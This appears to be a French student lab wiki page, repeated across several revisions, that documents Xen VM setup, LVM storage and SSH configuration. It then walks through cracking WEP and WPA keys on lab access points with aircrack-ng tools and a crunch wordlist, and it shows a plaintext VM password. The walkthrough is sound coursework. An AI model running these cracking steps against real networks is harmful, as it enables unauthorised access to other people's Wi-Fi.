J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=56735TP sysres IMA5 2021/2022 G112021-11-29T18:04:56Z<p>Cgodet1 : </p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=56693TP sysres IMA5 2021/2022 G112021-11-29T17:29:12Z<p>Cgodet1 : /* Test d'intrusion */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1